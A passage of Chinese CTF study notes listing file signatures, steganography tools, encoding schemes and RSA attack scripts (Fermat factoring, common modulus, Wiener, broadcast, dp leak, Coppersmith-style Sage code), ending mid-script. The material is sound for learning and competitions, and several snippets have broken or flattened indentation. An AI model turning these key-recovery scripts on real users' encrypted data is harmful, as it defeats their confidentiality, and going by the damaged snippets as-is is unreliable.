CTF总结

CTF misc crypto re pyjail总结

MISC

常见文件16进制头尾

一些CTF题目的附件会去掉文件头,需要补全文件头,在一些文件里也可能隐藏多个文件,这就需要熟悉文件尾/文件头以方便提取或做判断,题目附件在下载的时候可能会没有文件后缀,无法判断是那种文件,由于各文件的16进制都有规定格式,在将文件在 010Editor 中打开后根据文件16进制头可以判断是哪一种文件,总之需要熟悉常见文件头以及格式,010里面有模板,方便识别各类文件,但也会有识别出错的情况,MISC题目千变万化...

PNG

文件头 89 50 4E 47 0D 0A 1A 0A

文件尾 AE 42 60 82

**JPEG **

文件头 FF D8 FF

文件尾 FF D9

GIF

**文件头 47 49 46 38 39(37) 61 **

文件尾 00 3B

BMP

文件头 42 4D

ZIP

文件头 50 4B 03 04

**文件尾 50 4B 01 02 / 50 4B 05 06 **

RAR Archive (rar)

文件头:52 61 72 21

Wave (wav)

文件头:57 41 56 45

其他16进制

TGA

未压缩的前4字节 00 00 02 00 RLE压缩的前5字节 00 00 10 00 00

TIFF (tif)

文件头:49 49 2A 00

ico

文件头:00 00 01 00

MS Word/Excel (xls.or.doc)

文件头:D0 CF 11 E0

MS Access (mdb) 文件头:

53 74 61 6E 64 61 72 64 20 4A

WordPerfect (wpd) 文件头:

FF 57 50 43

Adobe Acrobat (pdf) 文件头:

25 50 44 46 2D 31 2E

application/vnd.visio(vsd) 文件头:

D0 CF 11 E0 A1 B1 1A E1

Email [thorough only] (eml) 文件头:

44 65 6C 69 76 65 72 79 2D 64 61 74 65 3A

Outlook Express (dbx) 文件头:

CF AD 12 FE C5 FD 74 6F

Outlook (pst) 文件头:

21 42 44 4E

Rich Text Format (rtf) 文件头:

7B 5C 72 74 66

txt 文件(txt) 文件头:Unicode:FE FF / Unicode big endian:FF FE / UTF-8:EF BB BF /ANSI编码是没有文件头的

audio(Audio)

文件头: 4D 54 68 64

audio/x-aac(aac)

文件头:FF F1(9)

AVI (avi) 文件头:41 56 49 20

Real Audio (ram) 文件头:2E 72 61 FD

Real Media (rm) 文件头:2E 52 4D 46

MPEG (mpg) 文件头:00 00 01 BA(3)

Quicktime (mov) 文件头:6D 6F 6F 76

Windows Media (asf) 文件头:30 26 B2 75 8E 66 CF 11

MIDI (mid) 文件头:4D 54 68 64

XML (xml) 文件头:3C 3F 78 6D 6C

HTML (html) 文件头:68 74 6D 6C 3E

Quicken (qdf) 文件头:AC 9E BD 8F

Windows Password (pwl) 文件头:E3 82 85 96

windows证书文件(der) 文件头:30 82 03 C9

CAD (dwg) 文件头:41 43 31 30

Windows Shortcut (lnk) 文件头:4C 00 00 00

Windows reg(reg) 文件头:52 45 47 45 44 49 54 34

注:并非全部文件只收集常见,够用

隐写术

常用工具:

**16进制查看:010Editor winhex **

音频查看:Audacity

等等

遇到举例

png:

首先介绍一款好用的检测png隐写工具

zsteg:https://github.com/zed-0xff/zsteg

一些隐藏的文件,lsb隐写等都可以检测到

binwalk:

可以检测分离文件

#检测图片
binwalk filename
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 640 x 1743, 8-bit/color RGBA, non-interlaced
#分离图片
binwalk -e filename
(可能报错使用 binwlak -e filename --run-as=root)
#刀操作,也可以分离图片
dd if=filename of=newfilename skip=DECIMAL bs=1

foremost:

同样可以分离文件,而且细分化,有log,有时候有奇效

foremost -o 存放文件名 文件名

使用非常方便:

zsteg filename
或
zsteg filename -a
还有其他参数指令
zsteg -h

宽高隐写:

png文件最常见的就是宽高隐写,通过修改宽高隐藏一些内容,这类图片肉眼一般无法判断,有的倒非常明显,可以通过修改宽高的16进制来尝试恢复,但有可能无法得到预期图片,可以通过工具或者crc爆破得到正确的宽高再修改文件的16进制得到原来的图片。

文件16进制中:

隐藏的信息可能存放在16进制文件尾,使用010打开在末尾处查看,也可能存放在文件中,使用搜索尝试寻找

010功能强大

IDAT隐写:

pngcheck可以检测文件IDAT,损坏,多余

文件IDAT通常中间的会保持一致再满了的时候才会进行下一个

此时就需要提取或者删除来达到恢复的目的

里面通常会有zilb,也可能隐写在这里面

StegSolve:一款工具

png jpg gif都可以使用,检测图片lsb隐写,各颜色通道等

Data Extract:lsb隐写等

Frame Browser:gif帧分析

exiftool:

查看图片exif等信息,flag可能隐藏在这里

PNGdebugger/TweakPNG(png工具):

均可查看png文件数据,支持修改删除等操作

stegpy:

带有key的隐写

stegpy filename -p

png相关隐写暂时这么多

JPEG/JPG:

EXIF:

最常见的就是EXIF,备注,详细信息等,会有提示信息或者flag,

使用exiftool:

exiftool filename

或在线:EXIF信息查看器 (tuchong.com)

文件16进制:

同png一样,也可能存放在末尾或者文件中。

文件提取:

存在附件文件,使用binwalk/foremost

JSteg&&JPHide&&OutGuess&&F5:

四个隐写方式

可以使用相应工具提取

Stegdetect 可以帮助探测

SilentEye:

jpg或者wav文件隐写flag

一些非预期(strings filename)

音频隐写:

MP3/WAV:

使用Audacity查看波形图或者频谱图,一些信息会隐藏在上面,波形图的摩斯密码,频谱图可能有key,pass,甚至flag等

MP3Stego:MP3隐写工具

encode -E txt -P 密码 MP3文件
decode -X -P 密码 MP3name

这种一般会有pass提示在文件尾等

LSB:DerbyCon CTF - WAV Steganography · ethackal

deepsound:WAV工具

需要密码

dtmf2num:拨号音

音频滴滴滴

MMSSTV:

一种电报,可以将音频转化为图片,音频多嘈杂

SilentEye:wav工具

xls:

文件可能存在隐写有二维码,手点检测块是否不同,将其黑白变化得到二维码,可以使用QR扫描得到flag

使用7z点开里面存在内容,这类不好找可以使用程序寻找等

word:

字体隐藏:ctrl+a修改全局字体得到隐藏内容,修改设置得到隐藏文字,修改后缀或使用7z打开得到里面的文件,可能存在flag等有用信息

pyc隐写:

使用剑龙隐写可以得到隐藏的flag

stegosaurus -x pycname

CRYPTO

常见编码:

rabbit/aes/des加密:

U2FsdGVkX1通常为rabbit密文头,特征类似base64(aes ,des相似)

rabbit为一种流密码,其详情高速流密码——Rabbit - 掘金 (juejin.cn)

在线解密网:在线Rabbit加密 | Rabbit解密- 在线工具 (sojson.com)

例子:
U2FsdGVkX188nKW3XYAppATn9y3lZg==  解密为:flag

base家族:

(base64是每6bit位一个映射base32是每5bit位一个映射base16是每bit4位一个映射)

base64加密:( 编码后的数据比原始数据略长,为原来的4/3)

密文结尾通常为,由(A-Z、a-z、0-9、+、/)组成,以为填充

加密原理:用64个可打印字符表示二进制所有数据的方法...(Base64 算法原理,以及编码、解码【加密、解密】 介绍 - 程默 - 博客园 (cnblogs.com))

例子:
ZmxhZ3tiYXNlfQ== 解密为:flag{base}

在线解密网:Base64 编码/解码 - 在线工具 (toolhelper.cn)

base58加密:(在比特币加密中有涉及,区块链)

base58的编码表相比base64少了数字0,大写字母I,O,小写字母 l (这个是L),以及符号‘+’和‘/’

加密原理:将字符流转成256进制的一个超大数 然后不断的模58

例子:
2w6zoHymm2SU4UfhE 解密为: flag{base58}

在线解密网:在线Base58编码解码 (lddgo.net)

base32加密:

由(A-Z、2-7)32个可见字符构成,“=”符号用作后缀填充,无数字+/,会有多个=。

例子:
MZWGCZ33MJQXGZJTGJ6Q====  解密为: flag{base32}

在线解密网:Base32编码解码,Base32在线转换工具 - 千千秀字 (qqxiuzi.cn)

base16加密:

将二进制文件转换成由16个字符组成的文本,由a-z,0-9组成,无=填充,与md5,hex相似。

例子:
666c61677b6261736531367d  解密为:flag{base16}

在线解密网:Base16编码解码,Base16在线转换工具 - 千千秀字 (qqxiuzi.cn)

除此之外还有

base62,base85,base91,base92,base100。

base91的密文由91个字符(0-9,a-z,A-Z,!#$%&()*+,./:;<=>?@[]^_`{|}~”)组成

base100为表情包

base85为BOu!rDst>tGAhM<A1fSl1GgsI特征:特点是奇怪的字符比较多,但是很难出现等号

等等十分多

这里推荐一个工具ToolsFx非常多内容,编码(CTF站点导航 | 猫捉鱼铃 (mzy0.com)

古典密码还有非常多类型:

推荐网站:CTF常见编码及加解密(超全) - ruoli-s - 博客园 (cnblogs.com)

一些好用的加密解密网站:

爆破维吉尼亚:Vigenere Solver | guballa.de

词频分析:https://quipqiup.com/

佛曰http://hi.pcmoe.net/buddha.html

盲文:http://www.atoolbox.net/Tool.php?Id=837

RSA:

推荐大佬博客:https://tangcuxiaojikuai.xyz/

神 糖醋小鸡快

from Crypto.Util.number import *
n = p * q
m = "flag"
m = bytes_to_long(m)
e = 65537
phi = (p-1)*(q-1)
d = inverse(e,phi)
c = pow(m,e,n)
m = pow(c,d,n)
flag = long_to_bytes(m)

一些常见攻击方式的脚本和方法:

【CTF-RSA】基于N分解的RSA题目

1.在线查询分解网站
http://www.factordb.com/index.php

2.使用yafu工具分解
下载地址:https://sourceforge.net/projects/yafu/

3.使用费马分解
网上找的脚本,p和q接近

def isqrt(n):
  x = n
  y = (x + n // x) // 2
  while y < x:
    x = y
    y = (x + n // x) // 2
  return x

def fermat(n, verbose=True):
    a = isqrt(n) # int(ceil(n**0.5))
    b2 = a*a - n
    b = isqrt(n) # int(b2**0.5)
    count = 0
    while b*b != b2:
        # if verbose:
        #     print('Trying: a=%s b2=%s b=%s' % (a, b2, b))
        a = a + 1
        b2 = a*a - n
        b = isqrt(b2) # int(b2**0.5)
        count += 1
    p=a+b
    q=a-b
    assert n == p * q
    # print('a=',a)
    # print('b=',b)
    # print('p=',p)
    # print('q=',q)
    # print('pq=',p*q)
    return p, q
fermat(n)

4.分解出来后,用脚本解密即可

import gmpy2
import libnum

p=
q=
e=
c=

n=p*q
phi_n=(p-1)*(q-1)

#求逆元
#d=libnum.invmod(e,phi_n)
d=gmpy2.invert(e,phi_n)

m=pow(c,d,n)
print(m)
print(libnum.n2s(int(m)).decode())
出题脚本
p,q接近,很快就能分解
import libnum
import gmpy2

p=libnum.generate_prime(1024)
#下一个素数
q=gmpy2.next_prime(p)
print(p)
print(q)
print(gmpy2.is_prime(q))
e=65537
m="flag{20d6e2da95dcc1fa5f5432a436c4be18}"
m=libnum.s2n(m)
n=p*q
phi_n=(p-1)*(q-1)
d=libnum.invmod(e,phi_n)
c=pow(m,e,n)

print("n=",n)
print ("e=",e)
print ("c=",c)

解题脚本

import  gmpy2
import libnum

def isqrt(n):
  x = n
  y = (x + n // x) // 2
  while y < x:
    x = y
    y = (x + n // x) // 2
  return x

def fermat(n, verbose=True):
    a = isqrt(n) # int(ceil(n**0.5))
    b2 = a*a - n
    b = isqrt(n) # int(b2**0.5)
    count = 0
    while b*b != b2:

        # if verbose:

        #     print('Trying: a=%s b2=%s b=%s' % (a, b2, b))

        a = a + 1
        b2 = a*a - n
        b = isqrt(b2) # int(b2**0.5)
        count += 1
    p=a+b
    q=a-b
    assert n == p * q

    # print('a=',a)

    # print('b=',b)

    print('p=',p)
    print('q=',q)

    # print('pq=',p*q)

    return p, q
n= 
e= 65537
c= 
pq=fermat(n)
p=pq[0]
q=pq[1]
phi_n=(p-1)*(q-1)
#求逆元
#d=libnum.invmod(e,phi_n)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
print(m)
print(libnum.n2s(int(m)).decode()) 

RSA密钥生成与读取

from Crypto.PublicKey import RSA

p= 
q= 
n= 
d= 
e= 65537


rsa_components = (n, e)
keypair = RSA.construct(rsa_components)
with open('pubckey.pem', 'wb') as f :
    f.write(keypair.exportKey())
from Crypto.PublicKey import RSA

p= 787228223375328491232514653709
q= 814212346998672554509751911073
n= 640970939378021470187479083920100737340912672709639557619757
d= 590103645243332826117029128695341159496883001869370080307201
e= 65537


rsa_components = (n,e,d,p,q)
keypair = RSA.construct(rsa_components)
with open('private1.pem', 'wb') as f :
    f.write(keypair.exportKey())
公钥读取
from Crypto.PublicKey import RSA
with open("pubckey.pem","rb") as f:
    key = RSA.import_key(f.read())
    print('n = %d' % key.n)
    print('e = %d' % key.e)
私钥读取
from Crypto.PublicKey import RSA
with open("private1.pem","rb") as f:
    key = RSA.import_key(f.read())
    print('n = %d' % key.n)
    print('e = %d' % key.e)
    print('d = %d' % key.d)
    print('p = %d' % key.p)
    print('q = %d' % key.q)
出题脚本 -基于N分解的题目
import libnum
import gmpy2
from Crypto.PublicKey import RSA

p=libnum.generate_prime(1024)
#下一个素数
q=int(gmpy2.next_prime(p))
e=65537
m="flag{}"
m=libnum.s2n(m)
n=p*q
c=pow(m,e,n)
flag_c=libnum.n2s(c)
rsa_components = (n, e)
keypair = RSA.construct(rsa_components)
with open('pubckey1.pem', 'wb') as f :
    f.write(keypair.exportKey())
with open("flag.txt","wb") as f:
    f.write(flag_c)


解题脚本
import libnum
import gmpy2
from Crypto.PublicKey import RSA


def isqrt(n):
  x = n
  y = (x + n // x) // 2
  while y < x:
    x = y
    y = (x + n // x) // 2
  return x

def fermat(n, verbose=True):
    a = isqrt(n) # int(ceil(n**0.5))
    b2 = a*a - n
    b = isqrt(n) # int(b2**0.5)
    count = 0
    while b*b != b2:
        # if verbose:
        #     print('Trying: a=%s b2=%s b=%s' % (a, b2, b))
        a = a + 1
        b2 = a*a - n
        b = isqrt(b2) # int(b2**0.5)
        count += 1
    p=a+b
    q=a-b
    assert n == p * q
    # print('a=',a)
    # print('b=',b)
    # print('p=',p)
    # print('q=',q)
    # print('pq=',p*q)
    return p, q


with open("pubckey1.pem","rb") as f:
    key = RSA.import_key(f.read())
    n=key.n
    e=key.e

with open("flag.txt","rb") as f:
    c=f.read()
    c=libnum.s2n(c)

#费马分解,
n1=fermat(n)
p=n1[0]
q=n1[1]
phi_n=(p-1)*(q-1)
#求逆元
d=libnum.invmod(e,phi_n)
m=pow(c,d,n)
print(m)
print(libnum.n2s(int(m)).decode())

进阶——自动生成密钥及加解密
from Crypto.Cipher import PKCS1_v1_5
from Crypto import Random
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP


random_generator = Random.new().read
rsa = RSA.generate(2048, random_generator)

生成私钥

private_key = rsa.exportKey()

# print(private_key.decode('utf-8'))

with open('rsa_private_key.pem', 'wb')as f:
    f.write(private_key)

生成公钥

public_key = rsa.publickey().exportKey()

# print(public_key.decode('utf-8'))

with open('rsa_public_key.pem', 'wb')as f:
    f.write(public_key)


#测试用密钥加密
public_key = RSA.importKey(public_key)
msg='flag'
pk = PKCS1_v1_5.new(public_key)
encrypt_text = pk.encrypt(msg.encode())
print(encrypt_text)

#测试密钥解密
private_key = RSA.importKey(private_key)
pk = PKCS1_v1_5.new(private_key)
msg = pk.decrypt(encrypt_text,0)
print(msg)

#两种标准
rsa_components = (n, e, int(d), p, q)
arsa = RSA.construct(rsa_components)
rsakey = RSA.importKey(arsa.exportKey())
rsakey = PKCS1_OAEP.new(rsakey)
decrypted = rsakey.decrypt(c)
print(decrypted)

共模攻击脚本

解密脚本

#coding:utf-8
import gmpy2
import libnum

n= 
e1= 
c1= 
e2= 
c2= 

#共模攻击
#共模攻击函数
def rsa_gong_N_def(e1,e2,c1,c2,n):
    e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n)
    s = gmpy2.gcdext(e1, e2)
    s1 = s[1]
    s2 = s[2]
    if s1 < 0:
        s1 = - s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = gmpy2.invert(c2, n)
    m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n
    return int(m)
m = rsa_gong_N_def(e1,e2,c1,c2,n)
print(m)
print(libnum.n2s(int(m)))

共模攻击原理
两个及以上的公钥(n,e)来加密同一条信息m

c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
e1,e2互质,则有

gcd(e1,e2)=1
根据扩展欧几里德算法 对于不完全为 0 的整数 a,b,gcd(a,b)表示 a,b 的最大公约数。那么一定存在整数 x,y 使得 gcd(a,b)=ax+by

e1*s1+e2*s2 = 1
s1、s2皆为整数,但是一正一负,假设s1为正数,s2为负数

因为

c1 = m^e1%n
c2 = m^e2%n
可得:

(c1^s1*c2^s2)%n = ((m^e1%n)^s1(m^e2%n)^s2)%n
根据模运算性质: 幂运算是一种关于幂的数学运算。同底数幂相乘,底数不变,指数相加。同底数幂相除,底数不变,指数相减。幂的乘方,底数不变,指数相乘。

(a * b) % p = (a % p * b % p) % p
a ^ b % p = ((a % p) ^ b) % p

简化公式为:

(c1^s1*c2^s2)%n = ((m^e1%n)^s1*(m^e2%n)^s2)%n

=> (c1^s1*c2^s2)%n = ((m^e1%n)^s1%n*(m^e2%n)^s2%n)%n #(a * b) % p = (a % p * b % p) % p

=> (c1^s1*c2^s2)%n = ((m^e1)^s1%n*(m^e2)^s2%n)%n #((a % p) ^ b) % p =a ^ b % p

=> (c1^s1*c2^s2)%n = ((m^e1)^s1*(m^e2)^s2)%n # (a % p * b % p) % p=(a * b) % p

=>(c1^s1*c2^s2)%n = ((m^(e1*s1)*(m^(e2*s2))%n #。幂的乘方,底数不变,指数相乘。

(c1^s1*c2^s2)%n = (m^(e1*s1+e2*s2))%n  # 同底数幂相乘,底数不变,指数相加。
因为 e1*s1+e2*s2 = 1 得:

(c1^s1*c2^s2)%n = (m^1)%n

(c1^s1*c2^s2)%n=m

同一m,同一n,不同e,进行加密。在不知道d的情况下,可以进行解密

wiener(维纳)攻击脚本

解密脚本
import gmpy2
import libnum

def continuedFra(x, y):
    """计算连分数
    :param x: 分子
    :param y: 分母
    :return: 连分数列表
    """
    cf = []
    while y:
        cf.append(x // y)
        x, y = y, x % y
    return cf
def gradualFra(cf):
    """计算传入列表最后的渐进分数
    :param cf: 连分数列表
    :return: 该列表最后的渐近分数
    """
    numerator = 0
    denominator = 1
    for x in cf[::-1]:
        # 这里的渐进分数分子分母要分开
        numerator, denominator = denominator, x * denominator + numerator
    return numerator, denominator
def solve_pq(a, b, c):
    """使用韦达定理解出pq,x^2−(p+q)∗x+pq=0
    :param a:x^2的系数
    :param b:x的系数
    :param c:pq
    :return:p,q
    """
    par = gmpy2.isqrt(b * b - 4 * a * c)
    return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
    """计算列表所有的渐近分数
    :param cf: 连分数列表
    :return: 该列表所有的渐近分数
    """
    gf = []
    for i in range(1, len(cf) + 1):
        gf.append(gradualFra(cf[:i]))
    return gf


def wienerAttack(e, n):
    """
    :param e:
    :param n:
    :return: 私钥d
    """
    cf = continuedFra(e, n)
    gf = getGradualFra(cf)
    for d, k in gf:
        if k == 0: continue
        if (e * d - 1) % k != 0:
            continue
        phi = (e * d - 1) // k
        p, q = solve_pq(1, n - phi + 1, n)
        if p * q == n:
            return d


n= 
e= 
c= 

d=wienerAttack(e, n)
m=pow(c, d, n)
print(libnum.n2s(m).decode()) 

低加密指数广播攻击

import libnum
from gmpy2 import invert, gcd, iroot

def op(x):
    res = 1
    for i in x:
        res *= i
    return res

def CRT(m, a):
    assert (len(m) == len(a))
    M = op(m)
    sum = 0
    for m, a in zip(m, a):
        Mi = M // m
        ti = invert(Mi, m)
        sum += a * ti * Mi
    return sum % M
def GCRT(m, a):
    assert (len(m) == len(a))
    curm, cura = m[0], a[0]
    for m, a in zip(m[1:], a[1:]):
        d = gcd(curm, m)
        c = a - cura
        assert (c % d == 0)
        K = c // d * invert(curm // d, m // d)
        cura += curm * K
        curm = curm * m // d
    return cura % curm

e= 23
n= [, , , , , , ]
c= [, , , , , , ]

m = CRT(n, c)
m1 = iroot(m, e)  # 开e次方
print(m1)
print(libnum.n2s(int(m1[0])))

解密脚本2

import binascii,gmpy2
from functools import reduce

import libnum


def CRT(mi, ai):
    assert(reduce(gmpy2.gcd,mi)==1)
    assert (isinstance(mi, list) and isinstance(ai, list))
    M = reduce(lambda x, y: x * y, mi)
    ai_ti_Mi = [a * (M // m) * gmpy2.invert(M // m, m) for (m, a) in zip(mi, ai)]
    return reduce(lambda x, y: x + y, ai_ti_Mi) % M

e= 23
n= [, , , , , , ]
c= [, , , , , , ]

m=gmpy2.iroot(CRT(n, c), e)[0]
print(m)
print(libnum.n2s(int(m))) 

N不互素(共享素数)

解题脚本

import libnum
import gmpy2


e= 65537
n1= 
n2= 
c1= 
c2= 


#求最大公约数
q=gmpy2.gcd(n1,n2)
p1=n1//q

phi_n=(q-1)*(p1-1)
#求逆元d
d1=libnum.invmod(e,phi_n)
m=pow(c1,d1,n1)
print(m)
#数字转字节,转字符串
print(libnum.n2s(int(m)).decode()) 

dp泄露

解密脚本

#coding:utf-8
import libnum
import gmpy2

n= 
e= 65537
dp= 
c= 

for i in range(1,65535):
    p=(dp*e-1)//i+1
    if n%p==0:
        q=n//p
        break
print(p)
print(q)
phi_n= (p-1)*(q-1)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
print(m)
flag=libnum.n2s(int(m)).decode()
print(flag)

dp,dq

解题脚本

# coding=utf-8

import gmpy2
import libnum

def decrypt(dp,dq,p,q,c):
    InvQ = gmpy2.invert(q, p)
    mp = pow(c, dp, p)
    mq = pow(c, dq, q)
    m = (((mp-mq)*InvQ) % p)*q+mq
    print(libnum.n2s(int(m)).decode())

p= 
q= 
dq= 
dp= 
c= 


decrypt(dp,dq,p,q,c) 

n是p的r次方

解密脚本
先分解n

import libnum import gmpy2 
n=  
e= 65537 
c=  #分解n #yafu-x64.exe factor() p= 
phi_n=p**4-p**3 #求逆元 
d=libnum.invmod(e,phi_n) 
m=pow(c,d,n) 
print(m) #数字转字节,转字符串 
print(libnum.n2s(int(m)).decode())

RSA NC不互素

解题脚本

import gmpy2
import libnum

n = 
c = 
e = 0x10001
p = gmpy2.gcd(n, c)
q = n // p
assert n == p * q
phi_n=(p-1)*(q-1)
d=gmpy2.invert(e,phi_n)
M=pow(c,d,n)
#M= 2021 * 1001 * p*m
m=M//(2021 * 1001 * p)
print(libnum.n2s(int(m))) 

sage脚本_p高位攻击

脚本1

根据题目,注意 2^60  60需要修改相应的位数  a = (p >> 60) << 60

def phase3(high_p, n):
    R.<x> = PolynomialRing(Zmod(n), implementation='NTL')
    p = high_p + x
    x0 = p.small_roots(X = 2^60, beta = 0.1)[0]

    P = int(p(x0))
    Q = n // P
    print(P)
    print(Q)
    assert n == P*Q

n=
p4=
e=
c=

phase3(p4, n)

脚本2

n = 
p4=
e = 0x10001
pbits = 1024
kbits = pbits - p4.nbits()
print(p4.nbits())
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
if roots:
    p = p4+int(roots[0])
    print ("n: ", n)
    print ("p: ", p)
    print ("q: ", n/p)

sage脚本_m高位攻击

解题脚本

import libnum
def phase2(high_m, n, c):
    R.<x> = PolynomialRing(Zmod(n), implementation='NTL')
    m = high_m + x
    M = m((m^3 - c).small_roots()[0])
    print(libnum.n2s(int(M)))

n= 
e= 3
c= 
high_m= 

phase2(high_m, n, c) 

sage脚本_Franklin-Reiter attack

#针对RSA的Franklin Reiter攻击

https://paper.seebug.org/727/#43-franklin-reiter


#如果两条消息之间仅存在已知的固定差异

m1 = bytes_to_long(flag)

m2 = a*m1 + b

#和RSA是否在相同的RSA模N下加密

#这样就有可能同时恢复它们



from secret import flag
from Crypto.Util.number import *

m1 = bytes_to_long(flag)
N = getPrime(512)*getPrime(512)
e = 17

c1 = pow(m1, e, N)

a = getRandomNBitInteger(512)
b = getRandomNBitInteger(512)
m2 = a*m1 + b
c2 = pow(m2, e, N)

print(N, a, b, c1, c2, sep="\n")

sage解题脚本

https://github.com/ValarDragon/CTF-Crypto/blob/master/RSA/FranklinReiter.sage

n=
a=
b=
c1=
c2=
e=17

import libnum
def franklinReiter(n,e,c1,c2,a,b):
    R.<X> = Zmod(n)[]
    f1 = X^e - c1
    f2 = (X*a+ b)^e - c2
    # coefficient 0 = -m, which is what we wanted!
    return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])

  # GCD is not implemented for rings over composite modulus in Sage

  # so we do our own implementation. Its the exact same as standard GCD, but with

  # the polynomials monic representation

def compositeModulusGCD(a, b):
    if(b == 0):
        return a.monic()
    else:
        return compositeModulusGCD(b, a % b)

m=franklinReiter(n,e,c1,c2,a,b)
print(m)
print(type(m))
print(libnum.n2s(int(m))) 

sage脚本_d 低位攻击

import libnum 
def getFullP(low_p, n): 
R.<x> = PolynomialRing(Zmod(n), implementation='NTL') 
p = x*2^512 + low_p 
root = (p-n).monic().small_roots(X = 2^128, beta = 0.4) 
if root: return p(root[0]) return None 
def phase4(low_d, n, c): 
maybe_p = [] 
for k in range(1, 4): 
p = var('p') 
p0 = solve_mod([3*p*low_d == p + k*(n*p - p^2 - n + p)], 2^512) 
maybe_p += [int(x[0]) 
for x in p0] #print(maybe_p) 
for x in maybe_p: 
P = getFullP(x, n) 
if P: 
break 
P = int(P) 
Q = n // P 
assert P*Q == n 
print(P) 
print(Q) 
d = inverse_mod(3, (P-1)*(Q-1)) 
print(d) 
print(libnum.n2s(int(power_mod(c, d, n)))) 
n =  
c =  
low_d =  
phase4(low_d, n, c) 

sage脚本_广播攻击

import libnum 
e=13 
n1=  
n2=  
n3=  
c1=  
c2=  
c3=  
def phase5(n1, c1, n2, c2, n3, c3): 
r = CRT([c1, c2, c3], [n1, n2, n3]) 
m = int(r)^(1/13) 
print(m) 
print(libnum.n2s(int(m))) 
phase5(n1, c1, n2, c2, n3, c3) 

sage脚本_Boneh Durfee 攻击

跟维纳攻击类似 用于e很大的情况

import time

"""
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
"""
debug = True

"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct
upperbound on the determinant. Note that this
doesn't necesseraly mean that no solutions
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""
strict = False

"""
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
"""
helpful_only = True
dimension_min = 7 # stop removing if lattice reaches that dimension

############################################

# Functions

##########################################

# display stats on helpful vectors

def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii,ii] >= modulus:
            nothelpful += 1

    print (nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")

# display matrix picture with 0 and X

def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii,jj] == 0 else 'X'
            if BB.dimensions()[0] < 60:
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        print (a)

# tries to remove unhelpful vectors

# we start at current = n-1 (last vector)

def remove_unhelpful(BB, monomials, bound, current):
    # end of our recursive function
    if current == -1 or BB.dimensions()[0] <= dimension_min:
        return BB

    # we start by checking from the end
    for ii in range(current, -1, -1):
        # if it is unhelpful:
        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0
            # let's check if it affects other vectors
            for jj in range(ii + 1, BB.dimensions()[0]):
                # if another vector is affected:
                # we increase the count
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj
    
            # level:0
            # if no other vectors end up affected
            # we remove it
            if affected_vectors == 0:
                print ("* removing unhelpful vector", ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii-1)
                return BB
    
            # level:1
            # if just one was affected we check
            # if it is affecting someone else
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # if it is affecting even one vector
                    # we give up on this one
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # remove both it if no other vector was affected and
                # this helpful vector is not helpful enough
                # compared to our unhelpful one
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
                    print ("* removing unhelpful vectors", ii, "and", affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii-1)
                    return BB
    # nothing happened
    return BB

"""
Returns:

* 0,0   if it fails

* -1,-1 if `strict=true`, and determinant doesn't bound

* x0,y0 the solutions of `pol`
  """
  def boneh_durfee(pol, modulus, mm, tt, XX, YY):
    """
    Boneh and Durfee revisited by Herrmann and May

    finds a solution if:

    * d < N^delta
    * |x| < e^delta
    * |y| < e^0.5
      whenever delta < 1 - sqrt(2)/2 ~ 0.292
        """

    # substitution (Herrman and May)

    PR.<u, x, y> = PolynomialRing(ZZ)
    Q = PR.quotient(x*y + 1 - u) # u = xy + 1
    polZ = Q(pol).lift()

    UU = XX*YY + 1

    # x-shifts

    gg = []
    for kk in range(mm + 1):
        for ii in range(mm - kk + 1):
            xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
            gg.append(xshift)
    gg.sort()

    # x-shifts list of monomials

    monomials = []
    for polynomial in gg:
        for monomial in polynomial.monomials():
            if monomial not in monomials:
                monomials.append(monomial)
    monomials.sort()

    # y-shifts (selected by Herrman and May)

    for jj in range(1, tt + 1):
        for kk in range(floor(mm/tt) * jj, mm + 1):
            yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
            yshift = Q(yshift).lift()
            gg.append(yshift) # substitution

    # y-shifts list of monomials

    for jj in range(1, tt + 1):
        for kk in range(floor(mm/tt) * jj, mm + 1):
            monomials.append(u^kk * y^jj)

    # construct lattice B

    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0] = gg[ii](0, 0, 0)
        for jj in range(1, ii + 1):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)

    # Prototype to reduce the lattice

    if helpful_only:
        # automatically remove
